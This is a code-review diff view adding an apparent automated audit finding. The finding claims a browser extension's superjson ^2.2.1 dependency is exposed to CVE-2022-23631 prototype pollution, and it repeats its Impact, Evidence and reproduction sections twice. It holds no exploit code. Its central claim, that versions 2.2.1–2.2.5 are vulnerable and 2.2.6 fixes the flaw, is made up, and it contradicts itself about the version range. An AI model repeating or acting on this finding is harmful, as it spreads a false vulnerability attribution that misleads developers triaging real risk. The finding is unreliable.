Prototype pollution in the browser extension context. The extension's local data handling could be compromised, potentially affecting extension storage, API keys, and local data. The web server is NOT affected (superjson is not installed there).
|
||||
|
||||
## Evidence
|
||||
```json
|
||||
// browser-ext/package.json
|
||||
"superjson": "^2.2.1"
|
||||
// ^2.2.1 allows 2.2.1 through 2.2.5 (vulnerable)
|
||||
// Fix available in 2.2.6+
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Extension serializes data containing `__proto__` key via superjson
|
||||
2. If any superjson deserializer processes this data (including the extension's own deserializer), prototype pollution occurs
|
||||
3. Attacker gains ability to modify `Object.prototype`, affecting all JavaScript objects in the extension context
|
||||
4. In the browser extension context, this could affect extension storage, API keys, and local data
|
||||
|
||||
## Defense Search Results
|
||||
- Web server does NOT use superjson as a dependency (confirmed by dependency scan)
|
||||
- Browser extension uses superjson for tRPC client serialization
|
||||
- The `api-client.ts` uses `httpBatchLink` with superjson
|
||||
- CVE-2022-23631 is CVSS 10.0 but affects only the browser extension context
|
||||
- No server-side deserialization of superjson data
|
||||
@@ -0,0 +1,47 @@
|
||||
Phase: 8
|
||||
Sequence: 011
|
||||
Slug: superjson-vulnerable-version
|
||||
Verdict: VALID
|
||||
Rationale: Browser extension uses superjson@^2.2.1 which includes vulnerable versions (2.2.1–2.2.5) affected by CVE-2022-23631 (CVSS 10.0 prototype pollution); web server is not affected (does not use superjson)
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The browser extension (`browser-ext`) depends on `superjson@^2.2.1`, which is vulnerable to CVE-2022-23631 (CVSS 10.0 — Prototype Pollution → RCE). The `^2.2.1` semver range allows any version from 2.2.1 up to (but not including) 3.0.0. CVE-2022-23631 was fixed in superjson 2.2.6, so versions 2.2.1 through 2.2.5 are vulnerable. The web server does not use superjson (confirmed by dependency scan), so the vulnerability is confined to the browser extension context.
|
||||
|
||||
## Location
|
||||
- `browser-ext/package.json` line 18 (`"superjson": "^2.2.1"`)
|
||||
- `browser-ext/src/lib/api-client.ts` (tRPC client using superjson)
|
||||
|
||||
## Attacker Control
|
||||
The extension serializes data using superjson. If the extension deserializes malicious superjson data (e.g., from a server response), prototype pollution occurs in the extension context. This could affect extension storage, API keys, and local data.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Browser extension local data boundary. Prototype pollution in the extension context could affect extension storage and local data handling.
|
||||
|
||||
## Impact
|
||||
Prototype pollution in the browser extension context. The extension's local data handling could be compromised, potentially affecting extension storage, API keys, and local data. The web server is NOT affected (superjson is not installed there).
|
||||
|
||||
## Evidence
|
||||
```json
|
||||
// browser-ext/package.json
|
||||
"superjson": "^2.2.1"
|
||||
// ^2.2.1 allows 2.2.1 through 2.2.5 (vulnerable)
|
||||
// Fix available in 2.2.6+
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Extension serializes data containing `__proto__` key via superjson
|
||||
2. If any superjson deserializer processes this data (including the extension's own deserializer), prototype pollution occurs
|
||||
3. Attacker gains ability to modify `Object.prototype`, affecting all JavaScript objects in the extension context
|
||||
4. In the browser extension context, this could affect extension storage, API keys, and local data
|
||||
|
||||
## Defense Search Results
|
||||
- Web server does NOT use superjson as a dependency (confirmed by dependency scan)
|
||||
- Browser extension uses superjson for tRPC client serialization
|
||||
- The `api-client.ts` uses `httpBatchLink` with superjson
|
||||
- CVE-2022-23631 is CVSS 10.0 but affects only the browser extension context
|
||||
- No server-side deserialization of superjson data
|
||||
Reference in New Issue
Block a user